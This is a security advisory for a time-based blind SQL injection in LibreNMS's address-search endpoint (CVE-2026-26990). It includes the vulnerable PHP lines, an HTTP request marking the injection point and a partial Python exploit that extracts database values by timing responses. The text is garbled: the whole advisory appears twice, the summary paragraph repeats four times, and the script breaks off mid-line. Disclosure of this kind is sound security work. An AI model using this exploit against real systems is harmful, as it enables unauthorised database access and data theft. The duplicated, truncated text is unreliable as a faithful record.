CVE-2026-26990

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below have a Time-Based Blind SQL Injection vulnerability in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses. This vulnerability requires authentication and is exploitable by any authenticated user. This issue has been fixedd in version 26.2.0.

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below have a Time-Based Blind SQL Injection vulnerability in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses. This vulnerability requires authentication and is exploitable by any authenticated user. This issue has been fixedd in version 26.2.0.

Summary

A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.

Details

This vulnerability requires authentication and is exploitable by any authenticated user.

The vulnerable endpoint is at /ajax_table.php with the following request displaying the injection point.

POST /ajax_table.php HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/search
Cookie: laravel_session=[Authenticated user cookie]

current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here>

Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.

// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);

if (str_contains($address, '/')) {
    [$address, $prefix] = explode('/', $address, 2);
}

if ($search_type == 'ipv4') {
    $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
    $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';

    if (! empty($address)) {
        $sql .= ' AND ipv4_address LIKE ?';
        $param[] = "%$address%";
    }

    if (! empty($prefix)) {
        $sql .= " AND ipv4_prefixlen='$prefix'";
    }

......

    if (! empty($prefix)) {
        $sql .= " AND ipv6_prefixlen = '$prefix'";
    }

PoC

The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENT_USER() from the database:

#!/usr/bin/python3

import requests
import sys
import re

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
    try:
        a = range(32,126)
        start = 0
        end = len(a)
        while start <= end:
            mid = (start + end) // 2
            target_equal = inj_str.replace("[CHAR]", str(a[mid]))
            target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}")

            # Return ascii decimal value for storing to a local string buffer
            if condition(target_equal):
                return a[mid]
            # Use lower half of the "a" array
            elif condition(target_less):
                end = mid - 1
            # Use upper half of the "a" array
            else:
                start = mid + 1
        return None
    except IndexError:
        return None


# Check injection result
def condition(payload):
    exploit_data = {
    "current": "1",
    "rowCount": "50",
    "sort[hostname]": "asc",
    "searchPhrase": "",
    "id": "address-search",
    "search_type": "ipv4",
    "device_id": "1",
    "interface": "",
    "address": f"127.0.0.1/aa{payload}"
    }
    # Payload must be slotted in somewhere in this code
    payload_url = f"{url}/ajax_table.php"

    r = s.post(payload_url, data=exploit_data)

    elapsed_time_seconds = r.elapsed.total_seconds()

    # If response time…

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below have a Time-Based Blind SQL Injection vulnerability in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses. This vulnerability requires authentication and is exploitable by any authenticated user. This issue has been fixedd in version 26.2.0.

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below have a Time-Based Blind SQL Injection vulnerability in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses. This vulnerability requires authentication and is exploitable by any authenticated user. This issue has been fixedd in version 26.2.0.

Summary

A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.

Details

This vulnerability requires authentication and is exploitable by any authenticated user.

The vulnerable endpoint is at /ajax_table.php with the following request displaying the injection point.

POST /ajax_table.php HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/search
Cookie: laravel_session=[Authenticated user cookie]

current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here>

Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.

// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);

if (str_contains($address, '/')) {
    [$address, $prefix] = explode('/', $address, 2);
}

if ($search_type == 'ipv4') {
    $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
    $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';

    if (! empty($address)) {
        $sql .= ' AND ipv4_address LIKE ?';
        $param[] = "%$address%";
    }

    if (! empty($prefix)) {
        $sql .= " AND ipv4_prefixlen='$prefix'";
    }

......

    if (! empty($prefix)) {
        $sql .= " AND ipv6_prefixlen = '$prefix'";
    }

PoC

The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENT_USER() from the database:

#!/usr/bin/python3

import requests
import sys
import re

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
    try:
        a = range(32,126)
        start = 0
        end = len(a)
        while start <= end:
            mid = (start + end) // 2
            target_equal = inj_str.replace("[CHAR]", str(a[mid]))
            target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}")

            # Return ascii decimal value for storing to a local string buffer
            if condition(target_equal):
                return a[mid]
            # Use lower half of the "a" array
            elif condition(target_less):
                end = mid - 1
            # Use upper half of the "a" array
            else:
                start = mid + 1
        return None
    except IndexError:
        return None


# Check injection result
def condition(payload):
    exploit_data = {
    "current": "1",
    "rowCount": "50",
    "sort[hostname]": "asc",
    "searchPhrase": "",
    "id": "address-search",
    "search_type": "ipv4",
    "device_id": "1",
    "interface": "",
    "address": f"127.0.0.1/aa{payload}"
    }
    # Payload must be slotted in somewhere in this code
    payload_url = f"{url}/ajax_table.php"

    r = s.post(payload_url, data=exploit_data)

    elapsed_time_seconds = r.elapsed.total_seconds()

    # If response time…